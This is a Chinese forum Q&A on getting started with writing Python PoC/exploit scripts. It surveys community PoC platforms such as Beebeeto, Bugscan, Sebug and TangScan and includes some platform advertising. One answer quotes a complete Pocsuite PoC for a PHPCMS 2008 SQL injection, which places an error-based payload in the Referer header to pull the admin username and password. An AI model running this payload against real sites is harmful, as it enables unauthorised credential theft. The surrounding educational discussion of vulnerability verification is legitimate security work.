当前位置:Gxlcms > Python > 基于Python来编写Poc/Exp该怎么入门?

基于Python来编写Poc/Exp该怎么入门?

时间:2021-07-01 10:21:17 帮助过:75人阅读

之前看了一些公开的poc,有点蒙!
有没有入门教程!通过简单的实例演示下过程!
还有就是怎样结合poc的框架编写poc/exp?

回复内容:

噗嗤,看到大家都在宣传自家平台我就放心了。

这种社区化的漏洞验证脚本平台概念最早可能源于 Metasploit 社区,由安全研究人员自愿的利用官方提供的框架编写规范的漏洞验证脚本或者攻击脚本并发布到聚合中,由于框架强制性规范代码,使得各家产品能够轻松的调用“社区”编写的大量验证/攻击脚本,用来扫描、攻击、验证等用途。

我抛开宣传方面来说下对这种平台现状浅析以及未来的思考,国内 13-15 这两年涌出了大量的“社区化”PoC平台,当然可预测的是在未来的两年内会有关闭也会有新平台的出现。

部分列表(简介摘抄于 Description & Title):
  • beebeeto.com/ ::: Beebeeto是由众多安全研究人员所共同维护的一个规范化POC/EXP平台。
  • bugscan.net/ ::: 第一款基于社区的扫描器
  • vul.jdsec.com/ ::: 穷奇漏洞库是网络尖刀安全团队推出的一个用于漏洞信息存档的信息收集平台。
  • sebug.net/ ::: Sebug 是一个权威的漏洞参考、分享与学习的安全漏洞平台,是国内最早最权威的漏洞库。
  • tangscan.com/ ::: 唐朝安全巡航 (TangScan) 是一个由社区众多安全研究人员维护的企业在线安全平台,企业可以在 Tangscan 对自己的企业网络进行安全漏洞检测和监控以发现潜藏在网络里的重要安全问题。
  • ..

现在的框架是束缚,而不是舒服
在 Beebeeto 上线前的一年中,我对社区化的漏洞验证脚本平思考过尽可能多的细节(站在使用者、编写者、管理者的角度),当初设想为漏洞爆发 -> 代码编写 -> 脚本管理 -> 脚本利用 -> ... ,面对上面的流程我们推崇了 BBS 社区化,推出框架来强制规范编写者填写漏洞相关字段,对应函数体,为的是能够方便未来(现在的 Beehive)扫描器。之后安全行业涌出了多家社区化漏扫平台,我开始站在用户的角度去使用、编写他家的框架脚本,才意识到目前的框架是束缚,而不是舒服。它强制我填写每一个字段,而每个字段又需要去官方文档或者 Demo 代码中查看对应内容,例如 Beebeeto 中的 VulType ,强制要求编写者去查看官方文档寻找漏洞类型填写对应的英语版、漏洞描述等字段,事实上这些都是可以简化的,可能只需要一个 Referer。

刚好谈下关于 @Neargle 提到的:
所以真正起到功能的,也就不到十行的代码。

这句话是非常具备思考价值的,假如:
  • 如何在完成 PoC & Exploit 的过程中学习收获;
  • 在长期的编码漏洞利用脚本时,怎样达到最快速省事的编码;
  • 是否能够利用代码帮助编写者省去 Vulnerability_info 字段;
  • 快速验证,快速编写,快速发现需要写的漏洞;
  • 在已有的大量漏洞验证脚本里如何准确快速的进行重复概率查询;
  • ...

还有更多的问题现在摆在几家面前,需要解决。(省略三百字)

关于用户怎么入门编写
这些平台都在努力的让编写验证/攻击脚本变得轻松简单,教授着大量编写方法,最起码需要编写者具备相应语言的编码功底,其次对漏洞原理略知一二,基本就差不多了。多看多写,这是一个需要经验积累的过程,如果真的没有学会,思考下自身问题后再看看是不是这个平台/框架太烂了?最后,选择一个适合自己的平台很重要。

未来可能预见的几步曲:
  1. 漏洞爆发
  2. 详情发布
  3. 脚本发布
  4. 相关产品支撑
  5. 利益相关
  6. ...

嗯,现在我得告诉自己,用户不但很懒有时还很蠢。 这个看 sebug.net 导航帮助里有,Pocsuite 框架有详细过程。可以作为你的参考:) 最近也在写这种exp平台。接口和框架一直都是很麻烦的东西。

@Evi1m0 大神说的很有道理。真正起作用的可能就十来行代码,但是因为要考虑接口和其他一些细节,需要写很多很多多余的代码。

写这种exp的话,并不需要太多编程知识,只需要了解漏洞的原理,再加上一些很基础的语法,以及相应的库就好了。

感觉这种平台是一种趋势,自动化渗透能够减少很多繁琐的过程。并没有打广告,只是自己写了给自己用,谁用谁知道。 楼上三巨头出现了,还有谁还有谁。前排广告位。 楼上两位都帮自家宣传完了,我也帮别人家宣传宣传。

乌云tangscan,有详细的poc编写帮助文档,既能学习python,又能在过程中熟悉一些通用型漏洞的形成原因和利用方法,官网地址 tangscan.com

乌云出品,必属精品!也有比较好的奖励方式,每个月按照比例进行分红。比如你一次提交了几十个poc,之后的很多年你不提交也可以每个月 首先坐等Beebeeto。

然后来谈谈自己的看法:
其实吧,无论乌云的Tangscan也好,知道创宇的Pocsuite也好,还有Beebeeto也好(Bugscan没写过,不是特别了解不过应该差不多),关于Web的Poc和Exp,都极度依赖于两个Python库。
1. Requests : 模拟Web的请求和响应等交互动作。
2. Re : 正则表达式,用来验证返回的结果是否符合漏洞的预期,从而验证漏洞是否存在。

其余的大部分代码都是漏洞的信息。
以Pocsuite和Tangscan为例:
Pocsuite官方文档例子:
#!/usr/bin/env python
# coding: utf-8
import re
import urlparse
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '62274'  # ssvid
    version = '1'
    author = ['Medici.Yan']
    vulDate = '2011-11-21'
    createDate = '2015-09-23'
    updateDate = '2015-09-23'
    references = ['http://www.sebug.net/vuldb/ssvid-62274']
    name = '_62274_phpcms_2008_place_sql_inj_PoC'
    appPowerLink = 'http://www.phpcms.cn'
    appName = 'PHPCMS'
    appVersion = '2008'
    vulType = 'SQL Injection'
    desc = '''
        phpcms 2008 中广告模块,存在参数过滤不严,
        导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,
        如果关闭了错误显示,可以采用基于时间和错误的盲注
    '''
    samples = ['http://10.1.200.28/']

    def _attack(self):
        result = {}
        vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
        payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#"
        head = {
            'Referer': payload
        }
        resp = req.get(vulurl, headers=head)
        if resp.status_code == 200:
            match_result = re.search(r'Duplicate entry \'1--(.+)---(.+)--\' for key', resp.content, re.I | re.M)
            if match_result:
                result['AdminInfo'] = {}
                result['AdminInfo']['Username'] = match_result.group(1)
                result['AdminInfo']['Password'] = match_result.group(2)
        return self.parse_attack(result)

    def _verify(self):
        result = {}
        vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
        payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#"
        head = {
            'Referer': payload
        }
        resp = req.get(vulurl, headers=head)
        if resp.status_code == 200 and 'c4ca4238a0b923820dcc509a6f75849b' in resp.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = vulurl
            result['VerifyInfo']['Payload'] = payload

        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)
欢迎加入bugscan.
欢迎加入bugscan.
欢迎加入bugscan.
重要的话说三遍
bugscan.net
加入bugscan社区可以使用神器bugscan
所有的插件都是社区内部完全公开,学习写poc都是小意思
希望与你共同进步

人气教程排行